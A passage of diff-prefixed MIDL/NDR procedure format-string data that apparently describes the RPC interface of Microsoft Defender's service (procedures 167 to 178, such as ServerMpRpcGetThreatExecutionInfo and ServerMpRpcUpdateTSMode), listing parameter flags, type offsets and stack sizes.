9432 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 9434 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9436 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9440 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9442 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9444 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9446 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9448 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9450 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 9452 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9454 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9456 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9458 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9460 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9462 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9464 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9466 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9468 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc167_ServerMpRpcSendBrowserHeartbeat */ + +/* 9470 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9472 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9476 */ NdrFcShort( 0xa7 ), /* 167 */ +/* 9478 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9480 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9482 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9484 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9486 */ NdrFcShort( 0x48 ), /* 72 */ +/* 9488 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 9490 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9492 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9494 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9496 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9498 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9500 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9502 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9504 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 9506 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9508 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9510 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9512 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9514 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9516 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9518 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9520 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9522 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9524 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9526 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9528 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9530 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9532 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9534 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9536 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9538 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc168_ServerMpRpcGetThreatExecutionInfo */ + +/* 9542 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9544 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9548 */ NdrFcShort( 0xa8 ), /* 168 */ +/* 9550 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9552 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9554 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9556 */ NdrFcShort( 0x18 ), /* 24 */ +/* 9558 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9560 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 9562 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 9564 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9570 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9572 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9574 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9576 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9578 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9582 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9584 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 9586 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9588 */ NdrFcShort( 0xc92 ), /* Type Offset=3218 */ + + /* Parameter arg_4 */ + +/* 9590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9592 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9594 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9596 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9598 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9600 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc169_ServerMpRpcReportClipboardOwner */ + +/* 9602 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9604 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9608 */ NdrFcShort( 0xa9 ), /* 169 */ +/* 9610 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9612 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9614 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9616 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9618 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9620 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 9622 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9630 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9632 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9634 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9636 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9638 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9640 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9642 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9644 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9646 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9648 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9650 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9652 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9654 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9656 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9658 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9660 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc170_ServerMpRpcDlpDelegateEnforcement */ + +/* 9662 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9664 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9668 */ NdrFcShort( 0xaa ), /* 170 */ +/* 9670 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9672 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9674 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9676 */ NdrFcShort( 0x8 ), /* 8 */ +/* 9678 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9680 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 9682 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9686 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9688 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9690 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9692 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9694 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9696 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9698 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9700 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9702 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9704 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9706 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9708 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ + +/* 9710 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9712 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9716 */ NdrFcShort( 0xab ), /* 171 */ +/* 9718 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 9720 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9722 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9724 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9726 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9728 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 9730 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 9732 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9734 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9736 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9738 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9740 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9742 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9744 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9746 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9748 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9750 */ NdrFcShort( 0xcc0 ), /* Type Offset=3264 */ + + /* Parameter arg_3 */ + +/* 9752 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9754 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9756 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9758 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9760 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9762 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 9764 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9766 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9768 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9770 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9772 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9774 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_7 */ + +/* 9776 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9778 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9780 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 9782 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9784 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9786 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9788 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9790 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9792 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc172_ServerMpRpcSendDeviceControlToast */ + +/* 9794 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9796 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9800 */ NdrFcShort( 0xac ), /* 172 */ +/* 9802 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9804 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9806 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9808 */ NdrFcShort( 0x8 ), /* 8 */ +/* 9810 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9812 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 9814 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9816 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9818 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9820 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9822 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9824 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9826 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9828 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9830 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9834 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 9836 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9838 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9840 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 9842 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9844 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9846 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 9848 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9850 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9852 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9854 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9856 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9858 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc173_ServerMpRpcIsDeviceControlAvailable */ + +/* 9860 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9862 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9866 */ NdrFcShort( 0xad ), /* 173 */ +/* 9868 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9870 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9872 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9874 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9876 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9878 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 9880 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9882 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9884 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9886 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9888 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9890 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9894 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9896 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9898 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9900 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9902 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9904 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9906 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc174_ServerMpRpcGetFCValue */ + +/* 9908 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9910 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9914 */ NdrFcShort( 0xae ), /* 174 */ +/* 9916 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9918 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9920 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9922 */ NdrFcShort( 0x10 ), /* 16 */ +/* 9924 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9926 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 9928 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9930 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9932 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9934 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9936 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9938 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9940 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9942 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9944 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9946 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9948 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9950 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9952 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9954 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9956 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9958 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9960 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc175_ServerMpRpcSetDriverUnloadInProgress */ + +/* 9962 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9964 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9968 */ NdrFcShort( 0xaf ), /* 175 */ +/* 9970 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9972 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9974 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9976 */ NdrFcShort( 0x5 ), /* 5 */ +/* 9978 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9980 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 9982 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9984 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9986 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9988 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9990 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9992 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9994 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9996 */ 0x2, /* FC_CHAR */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9998 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10000 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10002 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10004 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10006 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10008 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc176_ServerMpRpcUpdateTSMode */ + +/* 10010 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10012 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10016 */ NdrFcShort( 0xb0 ), /* 176 */ +/* 10018 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10020 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10022 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10024 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10026 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10028 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 10030 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10032 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10034 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10036 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10038 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10040 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10042 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10044 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 10046 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10048 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10050 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10052 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10054 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10056 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc177_ServerMpRpcGetTSModeInfo */ + +/* 10058 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10060 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10064 */ NdrFcShort( 0xb1 ), /* 177 */ +/* 10066 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10068 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10070 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10072 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10074 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10076 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10078 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 10080 */ NdrFcShort( 0x1 ), /* 1 */ +/* 10082 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10084 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10086 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10088 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10090 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10092 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10094 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 10096 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10098 */ NdrFcShort( 0xcda ), /* Type Offset=3290 */ + + /* Parameter arg_3 */ + +/* 10100 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10102 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10104 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10106 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10108 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10110 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc178_ServerMpCheckAccessForPrintOperation2 */ + +/* 10112 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10114 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10118 */ NdrFcShort( 0xb2 ), /* 178 */ +/* 10120 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 10122 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10124 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10126 */ NdrFcShort( 0x3c ), /* 60 */ +/* 10128 */ NdrFcShort( 0x5c ), /* 92 */ +/* 10130 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 10132 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10134 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10136 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10138 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10140 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10142 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10144 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10146 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10148 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10150 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10152 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10154 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10156 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10158 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 